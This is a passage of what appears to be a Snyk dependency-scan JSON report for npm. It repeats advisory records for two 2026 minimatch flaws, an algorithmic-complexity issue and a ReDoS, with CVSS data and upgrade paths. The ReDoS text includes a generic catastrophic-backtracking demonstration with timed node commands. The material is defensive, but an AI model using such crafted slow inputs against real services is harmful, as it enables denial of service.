Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": 